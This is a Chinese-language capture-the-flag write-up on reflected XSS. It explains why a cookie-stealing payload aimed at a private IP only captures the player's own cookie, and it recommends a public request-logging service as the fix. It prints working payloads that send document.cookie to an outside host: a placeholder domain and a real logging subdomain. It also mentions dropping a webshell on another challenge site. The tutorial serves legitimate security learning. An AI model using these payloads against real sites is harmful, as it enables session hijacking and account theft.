使用weblog平台接收xss窃取的cookie
下面以反射型xss举例,使用免费无需登录的weblog平台记录http请求,拿到xss窃取的cookie,好用推荐!
什么是XSS?攻击者准备了一个payload,在用户点击后,在用户浏览器里执行了攻击者提供的javascript代码,js代码可以获取到用户的cookie等信息。xss题目一般后台会有一个机器人脚本/功能,定期执行用户提交的payload。
例如,一个页面,会把url里的参数值显示在页面,例如http://example.com/?name=<script>alert(1)</script>
,如果页面没有对参数值进行过滤,直接显示在页面上,那么就会执行<script>alert(1)</script>
这段代码,弹出一个提示框。
什么是叉自己?
# 叉自己举例/细节
下面以web316具体举例。
打开靶机,看看自己的cookie,flag=you are not admin no flag
,真实的flag是网站管理员的cookie,也就是后台的xss bot机器人的cookie
随便输入111,提交,提交的内容111直接显示在了页面上。重点提交的111是一个get参数出现在url里,可以在页面直接显示,有xss漏洞的可能。
提交一串js代码
<script>alert(1)</script>
页面成功执行了js代码,弹出提示框1,说明有xss漏洞。
可以使用js代码,在用户打开恶意构造的url时,执行js,发起一个网络请求,把用户的cookie发送到攻击者的服务器上。
窃取用户cookie有什么用?,对于一些简单的站点,在访问站点时,带上该用户的cookie,有可能可以直接登录该用户的账号,获取用户的敏感信息。
例如下面这段代码,获取当前页面网站的cookie,把网站重定向请求攻击者的服务器上,把这里的http://example.com
换成自己服务器的ip就可以收到这个xss请求的cookie。
<script>
window.location.href = 'http://example.com/?cookie=' + document.cookie
</script>
2
3
新手师傅自然而然想到查看自己电脑的ip,把上面换成自己的ip,PHPstudy或者python开个web服务,发现flag是you are not admin no flag
,没有拿到flag。
例如我使用python开一个python http服务,我的ip是192.168.6.116
,端口4444
你拿到的这个cookie是谁的?你自己的。你写了一个恶意xss payload在攻击自己,叉自己。在你提交这个恶意payload时,靶机后台xss bot在执行这个js代码时,在他内网没有这个主机,找不到他内网的192.168.6.116这个ip,访问不到你的192,172,10段ip
# 解决方案
那就有好奇宝宝要问了,对啊对啊,我是内网ip,靶机访问不到我,我该怎么做这题?好问题,提供几个简单的方法
- 使用网络上免费提供的
weblog
平台,把xss的请求url叉到这里。(简单推荐,0成本,即开即用) - 使用自己的公网服务器python开启一个http服务。注意不要直接在
~
目录开启,会泄露~
目录的所有文件,网络上会有恶意攻击者专门扫描这个特征指纹。 - 如果你在做ctfshow的xss,同时你还有攻防世界、buuctf、nssctf靶场的账号,在其他靶场找个简单的web题目,拿个webshell,写个php文件,把url请求的参数值写进文件。
- 使用内网穿透攻击,把本地内网ip、端口映射到公网。
这里只介绍第一种方法,其他方法自行探索。
weblog
推荐平台 eyes.sh (opens new window)
打开,直接使用平台分配的账号进去,不需要自己注册。
在dnslog
页面,记录分配给你的子域名
修改xss payload,把受害者(xss bot)的cookie叉到这里,不出意外的话,会收到两个请求,一个是你提交payload时触发的请求,另一个是靶机后台xss bot执行payload时触发的请求。
<script>
window.location.href = 'http://enwvbm6o.eyes.sh/?cookie=' + document.cookie
</script>
2
3
验证成功